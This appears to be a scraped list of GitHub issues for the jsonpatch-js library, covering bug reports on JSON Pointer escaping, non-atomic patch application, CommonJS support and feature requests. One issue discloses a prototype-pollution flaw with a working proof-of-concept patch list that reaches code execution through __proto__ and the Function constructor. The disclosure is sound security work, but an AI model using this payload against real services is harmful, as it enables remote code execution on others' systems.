bruth / jsonpatch-js Goto Github PK

I know this isn't in the JSON-PATCH spec, but it should be.

If you add to an array with a negative index that should be relative to the end of the array, just like in the standard Array splice method. Your current code would handle this already if you simply removed the if (acc < 0) expression in add.

How else do you inform a patch to just add to the end of an existing array?

Hi,

my team and I would be interested to use this library for a CouchDB application prototype. CouchDb requires external libraries to support the Common JS format. Would it be possible to support it?

Thank you very much.

new jsonpatch.JSONPointer("/x").getReference({x:123}) returns {x:123} instead of 123

Any plans on doing a declarative wrapper around this?
If not, would you be interested in me making a contrib?

It seems it's not replacing all, only the first '~1'.

jsonpatch.apply({a : { b : {} }}, [{ op: "add", path: '/a/b/~1teste~1scaped', value: true}])
> { a: {b: { '/teste~1scaped': true }}}

I believe a common use case for jsonpatch would be to patch documents retrieved from a database. In Mongoose (http://mongoosejs.com/) such database documents are returned as models which act as a proxy class to the underlying document data (which allows for mongoose to keep track of document changes).

This however causes all path tests using hasOwnProperty() to fail (i.e. lines 146, 188, 199, 203 etc) since this method does not take into consideration inherited object attributes. Using the js keyword 'of' (coffeescript 'in') solves this problem and makes jsonpatch compatible with mongoose.

All tests pass and if you do not foresee any problems with this I'll create a pull request?

The error.stack property is missing. Looks like CoffeeScript's "inheritance" just sets the prototype and the constructor does not contain a super() call, so the native constructor of Error is never called, which means no stack trace is captured.
https://github.com/bruth/jsonpatch-js/blob/master/jsonpatch.js#L4

The code is vulnerable to prototype pollution, because it allows patching __proto__. This can be escalated to remote code execution if user-supplied input is passed as the patch list:

p = require('json-patch') 


p.apply({},  [
    {
      "op": "copy",
      "from": "/constructor/constructor",
      "path": "/__proto__/makeFunc"
    },
    {
      "op": "add",
      "path": "/__proto__/op",
      "value": "makeFunc"
    }, 
]);


p.apply({},["console.log('rce')"]) // rce

In order to prevent this, I would adivse filtering out any changes to __proto__.

Example:

 {"mydata": ["apple", "orange","pear", "lemon"]} 

With the following operation:

[{"op":"remove","path":"/mydata/0"},{"op":"remove","path":"/mydata/2"}]

The result is:

 { "mydata": ["orange","pear"] }

Rather than the expected:

 { "mydata": ["orange", "lemon"] }

See here:
java-json-tools/json-patch#11 (comment)

Related thread: java-json-tools/json-patch#11

At title says, with 0.4.x (tested with .0 & .1) it fails to validate properly the example document at the end (it don't throw an error).

https://www.npmjs.org/package/jsonpatch it does throw the error, though.

{
    "links": {
        "chains": "http://192.168.56.3:3000/api/services/nat/source/chains/{chains.name}"
    },
    "chains": [
        {
            "type": "source",
            "name": "ifall",
            "description": "",
            "id": "539503ac1d58f1da7c608b26"
        },
        {
            "type": "source",
            "name": "ifall2",
            "description": "",
            "id": "5395055ea3c2d260053d3bfe"
        },
        {
            "name": "ifall4",
            "description": "interfaces",
            "type": "source",
            "interfaces": {
                "out": "eth1"
            },
            "id": "5395098770a129630c1a6ead"
        },
        {
            "description": "",
            "name": "ifall3",
            "type": "source",
            "interfaces": "http://example.com/hamster.png",
            "id": "5395062967350b410a022838"
        }
    ],
    "meta": {
        "chains": {
            "total": 4,
            "limit": 10,
            "offset": 0
        }
    }
}

jsonpatch.apply_patch should be renamed (OR aliased, to maintain backward-compatibility) to applyPatch. This would fit better with the majority of the JS ecosystem.

Hi - thanks for building this. It's been really helpful in my initial implementation of PATCH to our applications.

Have you considered building a method that will return a proper patch document so that clients don't have to manually build it? I was thinking it would look something like:

jsonpatch.create(originalDoc, changedDoc); // outputs the patch doc

Or if you have other ideas or links to other libs that do this, that'd be welcomed.

This would be extremely helpful and close the loop on my implementation.

In the compile operation, when checking whether patch is an object or an array, it asks for "path" in place of "patch", resulting in the following error:

ReferenceError: Uncaught error: path is not defined

Hi,

The 'run everywhere boilerplate' isn't working for Node.js. My understanding is that Node.js is a CommonJS environment, although the boilerplate runs it as a 'direct script'.

A solution working for me is to add this before the other if cases:

if typeof module isnt 'undefined' and typeof exports isnt 'undefined'       
    # Node.js environment                                                   
    factory(exports)

But perhaps a better approach is: https://gist.github.com/1663811

Appendix A.14 of the spec specifies that the result of applying a "test" op should be the input JSON document, not a non-JSON raw Boolean.

However, as the README states and this lib behaves, if the last op in a JSONPatch document is a test, the result of require('json-patch').apply(ops, in) is a Boolean.

This script should succeed without error, but throws an AssertionError for the above reason.

var jsonPatch = require('json-patch');
var assert = require('chai').assert;

// Testing http://tools.ietf.org/html/rfc6902#appendix-A.14

var exampleTarget = {
  "/": 9,
  "~1": 10
};

var patch = [
  { "op": "test", "path": "/~01", "value": 10 }
];

var expectedResult = {
  "/": 9,
  "~1": 10
};

assert.deepEqual(jsonPatch.apply(exampleTarget, patch), expectedResult);

A new revision of JSON Patch was published:
http://tools.ietf.org/html/draft-ietf-appsawg-json-patch-09

See https://twitter.com/mnot/status/287045261266677760 for announcement and diffs.

Let me explain my question. I've found livedb project https://github.com/share/livedb that make possible to issue partial updating of big JSON tree with OP supporting.

At now livedb support several ottypes https://github.com/ottypes among which json0 https://github.com/ottypes/json0

Do you plan to contribute this project to allow possibility make OT operations with json-patch?

This line: https://github.com/bruth/jsonpatch-js/blob/master/jsonpatch.js#L519 feeds the ORIGINAL document into each successive step. Shouldn't it be feeding in result instead of document?

jsonpatch.js line 169:
steps[i] = decodeURIComponent(step).replace('0', '').replace('~1', '/');

This should instead end with:
.replace('~1', '/').replace('~0', '0');

Example:
JSON object { "/":9, "~1":10 }
The JSON pointer to the value 10 is "/~01".
If you incorrectly decode ~0 first you will end up pointing to value 9.

P.S. decodeURIComponent look wrong. If the JSON pointer is assumed to come from the fragment portion of a URI then decodeURIComponent should be applied BEFORE splitting the path on '/' characters.

Per HTTP PATCH spec

 Note that the HTTP PATCH method is atomic, as per [RFC5789].
   Therefore, the following patch would result in no changes being made
   to the document at all (because the "test" operation results in an
   error):

   [
     { "op": "replace", "path": "/a/b/c", "value": 42 },
     { "op": "test", "path": "/a/b/c", "value": "C" }
   ]

Ref: http://tools.ietf.org/html/rfc6902#section-5

In other words, none of a patch's operations should be applied if any one of them fails.

> var obj = {};
undefined

> jsonpatch.apply(obj, [
  {op: 'add', path: '/foo', value: 'bar'}, 
  {op: 'remove', path: '/baz'}
]);
PatchConflictError: Value at baz does not exist // OK

> obj
{ foo: 'bar' }  // NOT OK

jsonpatch.apply should perhaps test every operations before applying them.

What do you think?